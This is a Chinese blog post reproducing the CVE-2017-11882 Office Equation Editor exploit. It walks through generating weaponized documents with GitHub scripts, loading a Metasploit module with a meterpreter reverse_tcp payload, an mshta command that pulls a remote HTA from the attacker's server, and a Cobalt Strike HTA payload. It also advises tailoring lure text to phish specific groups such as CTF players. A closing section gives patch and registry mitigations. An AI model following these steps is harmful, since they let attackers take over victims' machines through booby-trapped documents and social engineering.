陌生人的文档莫着急打开!!
在某个群看到有人在玩,就复现了下!!!
前言:
红帽杯结束的隔一天,在一个群里看到某人发了个名为”红帽杯wp”的文档.由于我最近在研究xxe,题目中刚好有个xxe的题目,所以就下载了看看.刚下载完火绒就弹出告警,我瞬间想到了 “嘀嘀嘀,主机已上线”.一会才知道这是利用了CVE-2017-11882漏洞.于是打算复现一波

漏洞概述:
2017年11月,微软在例行系统补丁发布中,修复了一个Office远程代码执行的严重漏洞,编号CVE-2017-11882。该漏洞类型为缓冲区溢出,位为EQNEDT32.EXE组件。受害用户打开恶意的office文档时,无需交互,就可能执行恶意代码。
据悉,这个组件是由Design Science Inc.开发的,后来由微软收购。该组件于2001年编译嵌入office,之后没有任何进一步的修改。所以该漏洞已存在17年之久。
EQNEDT32.EXE是用于在文档中插入和编辑方程式。插入到文档中的任何公式都是OLE对象。该组件是在OLE技术规范下设计的。首发于Microsoft Office 2000和Microsoft 2003。从Microsoft Office 2007套件开始,显示和编辑方程的方法发生了变化,虽然EQNEDT32.EXE变得过时,不过,为了保持版本兼容性,它并没有从Office套件中删除。
影响版本:
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
漏洞复现:
验证漏洞:
(1) 利用GitHub上提供的脚本来生成利用文档(我们这里为了效果明显,弹个计算器)
(2) 可以看到执行该脚本后会生成一个doc文档
(3) 我们用存在漏洞版本的office打开我们刚刚生成的doc文档:
可以看到我们一打开这个文档就会弹出计算器.
脚本地址:
https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py
深度利用:
自定义文档内容,让别人看了对我们的文档怀疑更少些.让它在不知不觉的情况下上线!
利用原理:
利用触发器 WebClient 服务从攻击者控制的 WebDav 服务器启动和执行远程文件。
第一种: 通过msf自定义word内容复现
(1) 先下载msf中的利用模块:
wget https://raw.githubusercontent.com/backlion/demo/master/PS_shell.rb
(2) 拷贝ps_shell模块到msf对应的模块下(根据自己msf安装位置来复制):
cp PS_shell.rb /usr/share/metasploit-framework/modules/exploits/windows/
(3) 启动msf并使用刚刚上传的脚本
Reload_all (加载我们刚刚添加的脚本)
use exploits/windows/PS_shell
Set payload windows/meterpreter/reverse_tcp
Set LHOST 192.168.1.12
Set URIPATH dd (这里随意设置,是我们要加载远程马的名字)
exploit
此时msf会监听4444端口来接收反弹的shell并且开启一个web服务用来存放木马文件:
可以看到它提示我们:
mshta.exe "http://192.168.1.223:8080/dd"
mshta是用来执行hta文件的,mshta不仅可以使用vbscript,而且可以使用javascript来执行命令.
(4) 创建自定义内容的文档:
a.先新建一个rtf文档:
b.我们在文档里面编辑好内容(可以针对不同的人来构造),比如像在开头的那样,针对一群玩ctf的,就可以根据最近的比赛wp来编辑 这个自由发挥
(5) 利用脚本将我们msf生成的payload注入到刚刚生成的rtf文档中:
运行脚本后会生成一个doc文档:
脚本来源:
https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py
(6) 接下来我们模拟受害者打开该文档:
可以看到文档可以正常显示,我们的msf也成功上线主机.
在实际利用中,我们可以针对要钓鱼的人群来设计不同内容的文档,诱惑其打开我们的钓鱼文档!
问题:
我们为什么要用mshta这个命令来执行payload:
这是一个缓冲区溢出漏洞, 这种类型的漏洞一般限制了 Payload 的对于功能比较齐全的 Payload 或是 RAT 基本上都会超出这个长度.
一般有两种缩小的方法, 使用 ShellCode注入或是远程加载.
mshta是windows系统自带的命令,而且mshta是用来执行hta文件的.
关于该问题的解答来自: https://exp10it.cn/#/posts/62
除了mshta,其他更多的利用方法大家可以参考这个文章:
https://evi1cg.me/archives/remote_exec.html
下面的脚本可以执行109字节的命令:
https://github.com/Ridter/CVE-2017-11882
第二种:利用cobaltstrike上线
(1) 先利用cobaltstrike生成一个hta马:
接下来选择监听器(自己新建一个监听器,用来接收shell)
这里一共有三种Method:
executable(生成可执行攻击脚本)
powershell (生成一个powershell的脚本)
VBA (生成一个vba的脚本,使用mshta命令执行)
a. 经测试发现executable类型的无法上线,它会提示
继续运行仍无妨上线!!
b. VBA类型的也无法上线,它会报错:
所以我们这里选择powershell类型的:
选择Generate(生成),会让我们选择保存位置,此时我们的hta马就成功生成!
(2) 然后将我们的马放到我们的web服务器网站目录下或者直接在我们hta马的目录下利用python开启一个简易的HTTP服务:
(3) 接下来的步骤跟第一种的一样,还是使用第一种的那个脚本将我们的cs生成的payload注入到文档中(这里就不重复了,具体操作可以参考”第一种”的4-5步)
(4) 我们模拟受害者打开生成的文档:
可以看到我们的机器已经上线!!!
漏洞防御:
(1) 下载更新补丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
开启Windows Update功能,定期对系统进行自动更新
(2) 由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册。
按下Win+R组合键,打开cmd.exe
对应office版本修改以下注册表路径以后,输入:
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
参考链接:
https://evi1cg.me/archives/CVE_2017_11882_exp.html
https://www.t00ls.net/articles-43821.html
https://raw.githubusercontent.com/backlion/demo/master/cve-2017-11882-v2.py